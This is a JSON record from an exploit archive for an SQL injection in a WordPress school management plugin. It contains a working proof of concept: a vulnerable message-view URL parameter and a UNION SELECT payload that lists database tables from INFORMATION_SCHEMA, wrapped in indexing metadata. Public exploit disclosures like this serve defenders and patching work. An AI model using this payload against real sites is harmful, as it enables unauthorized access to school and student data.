{"href": "https://0day.today/exploit/description/28646", "history": [], "sourceData": "# # # # # \r\n# Exploit Title: School Management System for Wordpress - SQL Injection\r\n# Dork: N/A\r\n# Date: 26.09.2017\r\n# Vendor Homepage: http://mojoomla.com/\r\n# Software Link: https://codecanyon.net/item/school-management-system-for-wordpress/11470032\r\n# Demo: http://www.mobilewebs.net/mojoomla/extend/wordpress/school/\r\n# Version: N/A\r\n# Category: Webapps\r\n# Tested on: WiN7_x64/KaLiLinuX_x64\r\n# CVE: N/A\r\n# # # # #\r\n# Exploit Author: Ihsan Sencan\r\n# Author Web: http://ihsan.net\r\n# Author Social: @ihsansencan\r\n# # # # #\r\n# Description:\r\n# The vulnerability allows an student members to inject sql commands....\r\n# \r\n# Proof of Concept: \r\n# \r\n# http://localhost/[PATH]/?dashboard=user&page=message&tab=view_message&from=inbox&id=[SQL]\r\n# \r\n# -50++UNION(SELECT(1),(2),(3),(4),(5),(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),(7),(8))--+-\r\n# \r\n# Etc..\r\n# # # # #\n\n# 0day.today [2018-03-20] #", "bulletinFamily": "exploit", "modified": "2017-09-27T00:00:00", "title": "WordPress School Management System Plugin - SQL Injection Vulnerability", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://0day.today/exploit/28646", "cvelist": [], "description": "Exploit for php platform in category web applications", "viewCount": 12, "published": "2017-09-27T00:00:00", "edition": 1, "hash": "39d637ac1dbbcaaafe42f8e32e66668409ca97d4ac3c937cef7ec4d6c705ad7b", "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvss", "hash": "8cd4821cb504d25572038ed182587d85"}, {"key": "description", "hash": "8a1b9d67edd161eba6df1d6d4a1ba4bc"}, {"key": "href", "hash": "4a9dc70b4b55ff8b8dd6cee6d315155b"}, {"key": "modified", "hash": "e8ad0ccc235dc30d209ad4b0921d8998"}, {"key": "published", "hash": "e8ad0ccc235dc30d209ad4b0921d8998"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "8f9da6443571f75195f401f82e60b810"}, {"key": "sourceData", "hash": "c37454bee337c6bc2f8ad3235d4c12a1"}, {"key": "sourceHref", "hash": "cbaccad552386f5877da3fc728b1ff55"}, {"key": "title", "hash": "382372a02b2f5af8007ff4575226fdd8"}, {"key": "type", "hash": "0678144464852bba10aa2eddf3783f0a"}], "id": "1337DAY-ID-28646", "type": "zdt", "lastseen": "2018-03-20T07:18:56", "reporter": "Ihsan Sencan", "enchantments": {"score": {"value": 7.5, "vector": "NONE"}, "dependencies": {"references": [], "modified": "2018-03-20T07:18:56"}, "vulnersScore": 7.5}, "objectVersion": "1.3", "references": []}

{}